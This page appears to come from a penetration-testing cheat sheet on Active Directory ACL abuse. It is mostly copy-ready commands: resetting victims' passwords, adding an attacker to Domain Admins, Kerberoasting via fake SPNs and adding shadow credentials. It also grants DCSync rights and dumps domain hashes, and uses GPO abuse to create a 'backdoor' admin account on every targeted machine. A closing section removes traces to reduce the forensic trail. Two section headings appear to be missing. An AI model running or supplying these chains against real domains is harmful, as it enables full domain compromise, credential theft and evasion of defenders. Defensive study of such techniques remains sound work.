Service bank
DIRECTORY / AD 389/tcp 445/tcp

DACL / ACL Attacks

aka ACL Abuse, DACL Abuse, GenericAll, WriteDACL, WriteOwner

Active Directory ACL abuse: GenericAll/Write/WriteDACL/WriteOwner exploitation chains, ForceChangePassword, AddMember, shadow credentials, GPO abuse, DCSync right grants, and BloodHound-driven attack path traversal.

Ports

PortProtoNotes
389tcpLDAP — all ACL modifications
445tcpSMB — GPO file access / modification

Fingerprint

  • BloodHound shows outbound ACL edges: GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword
  • PowerView Get-DomainObjectAcl reveals ACE entries on any object

Key files

PathHoldsSensitive
SYSVOL GPO folders GPO scripts writable via GenericAll on GPO object sensitive

Exploitation primitives

  • GenericAll on user: change password or add shadow credential directly
  • GenericWrite on user: set SPN (Kerberoast), set msDS-KeyCredentialLink (shadow creds)
  • WriteDACL on any object: grant yourself GenericAll then abuse
  • WriteOwner: take ownership then WriteDACL → GenericAll
  • DCSync rights: grant yourself Replicating Directory Changes permissions
  • GPO write: modify computer startup script → SYSTEM on all affected machines

Overview

ACL (Access Control List) entries in AD define who can do what to each object. Misconfigurations leave non-admin accounts with powerful rights over sensitive objects. BloodHound visualises these edges; PowerView executes the abuse.


Discovery

BloodHound (graph view)

In BloodHound:

  1. Node info → Outbound Object Control (edges pointing away from your compromised user)
  2. Pre-built query: Shortest Paths from Owned Principals
  3. Common edges to look for: GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword, AddMember, AddKeyCredentialLink, AllExtendedRights

PowerView

# Find interesting ACEs on a specific object
Get-DomainObjectAcl -Identity 'target_user' -ResolveGUIDs | 
  Where { $_.SecurityIdentifier -match 'S-1-5-21-XXXX-XXXX-XXXX-1234' }

# Find all ACEs your user has on domain objects
Get-DomainObjectAcl -ResolveGUIDs | 
  Where { $_.SecurityIdentifier -eq (Get-DomainUser -Identity attacker).objectsid } |
  Select ObjectDN, ActiveDirectoryRights

# Find all GenericAll in the domain
Get-DomainObjectAcl -ResolveGUIDs | 
  Where { $_.ActiveDirectoryRights -match "GenericAll" } |
  Select ObjectDN, IdentityReference

# Check DACL on domain object
Get-DomainObjectAcl -Identity 'domain.local' -ResolveGUIDs

GenericAll on User

Full control over the user object: change password, add shadow credential, etc.

# Change victim's password (no old password needed)
Set-DomainUserPassword -Identity victim -AccountPassword (ConvertTo-SecureString "NewPass123!" -AsPlainText -Force) -Verbose
# Linux
net rpc password victim 'NewPass123!' -U 'domain.local/attacker%pass' -S DC_IP

GenericAll on Group

Add yourself to the group:

Add-DomainGroupMember -Identity 'Domain Admins' -Members attacker
# Linux
net rpc group addmem 'Domain Admins' attacker -U 'domain.local/attacker%pass' -S DC_IP

GenericWrite on User

Modify the user’s attributes (not direct password change).

Set a Fake SPN → Kerberoast the target

Set-DomainObject -Identity victim -Set @{serviceprincipalname='nonexistent/fakespn'}
# Now Kerberoast victim's account
GetUserSPNs.py domain.local/attacker:pass -request -dc-ip DC_IP
# Remove after cracking:
Set-DomainObject -Identity victim -Clear serviceprincipalname
# Linux — certipy
certipy shadow auto -u attacker@domain.local -p pass -account victim -dc-ip DC_IP
# Outputs: victim's NT hash and a .pfx cert

# Linux — pywhisker
python3 pywhisker.py -d domain.local -u attacker -p pass --target victim --action add
# Windows — Whisker
.\Whisker.exe add /target:victim /domain:domain.local /dc:DC_IP

WriteDACL on Object

Add an ACE that grants yourself GenericAll:

# Grant yourself GenericAll on the target object
Add-DomainObjectAcl -TargetIdentity 'Domain Admins' -PrincipalIdentity attacker -Rights All -Verbose

# Grant DCSync rights on the domain object
Add-DomainObjectAcl -TargetIdentity 'DC=domain,DC=local' -PrincipalIdentity attacker -Rights DCSync
# Linux — dacledit.py (impacket)
dacledit.py domain.local/attacker:pass -dc-ip DC_IP -action write -rights FullControl -principal attacker -target 'victim'

WriteOwner → WriteDACL → GenericAll Chain

# 1. Take ownership of the target object
Set-DomainObjectOwner -Identity victim -OwnerIdentity attacker

# 2. Grant WriteDACL to yourself
Add-DomainObjectAcl -TargetIdentity victim -PrincipalIdentity attacker -Rights WriteDACL

# 3. Grant GenericAll using WriteDACL
Add-DomainObjectAcl -TargetIdentity victim -PrincipalIdentity attacker -Rights All

ForceChangePassword / User-Force-Change-Password

Set-DomainUserPassword -Identity victim -AccountPassword (ConvertTo-SecureString "Pwned123!" -AsPlainText -Force)
# Linux
rpcclient -U 'domain.local/attacker%pass' DC_IP -c 'setuserinfo2 victim 23 Pwned123!'

DCSync Rights (Replicating Directory Changes)

Grant your account DCSync permissions:

Add-DomainObjectAcl -TargetIdentity 'DC=domain,DC=local' -PrincipalIdentity attacker -Rights DCSync

Then DCSync from Linux:

secretsdump.py domain.local/attacker:pass@DC_IP -just-dc-ntlm

GPO Abuse (GenericAll/GenericWrite on a GPO)

Modify a GPO to execute code on all machines it applies to.

# Enumerate GPO-to-OU links
Get-DomainGPO | select displayname, gpcfilesyspath
Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs | Where { $_.ActiveDirectoryRights -match "GenericAll|Write" }

# Find GPOs you can modify
Get-DomainGPO | ForEach-Object { 
  $acl = Get-DomainObjectAcl -Identity $_.Name -ResolveGUIDs
  $acl | Where { $_.SecurityIdentifier -match $attacker_sid } | Select ObjectDN, ActiveDirectoryRights
}
# Linux — PyGPOAbuse (add local admin or run command)
python3 pygpoabuse.py domain.local/attacker:pass -gpo-id '{GPO-GUID}' -dc-ip DC_IP -command 'net user backdoor Backdoor123! /add && net localgroup administrators backdoor /add' -computer-name TARGET

# SharpGPOAbuse (Windows)
.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount attacker --GPOName "Default Domain Policy"
.\SharpGPOAbuse.exe --AddComputerScript --ScriptName startup.bat --ScriptContents "net user backdoor Backdoor123! /add" --GPOName "Vulnerable GPO"

Same as GenericWrite path — directly modify msDS-KeyCredentialLink:

# certipy (Linux)
certipy shadow auto -u attacker@domain.local -p pass -account 'target_computer$' -dc-ip DC_IP

Cleanup

After exploitation, remove your added ACEs to reduce forensic trail:

Remove-DomainObjectAcl -TargetIdentity 'Domain Admins' -PrincipalIdentity attacker -Rights All
Remove-DomainObjectAcl -TargetIdentity 'DC=domain,DC=local' -PrincipalIdentity attacker -Rights DCSync

References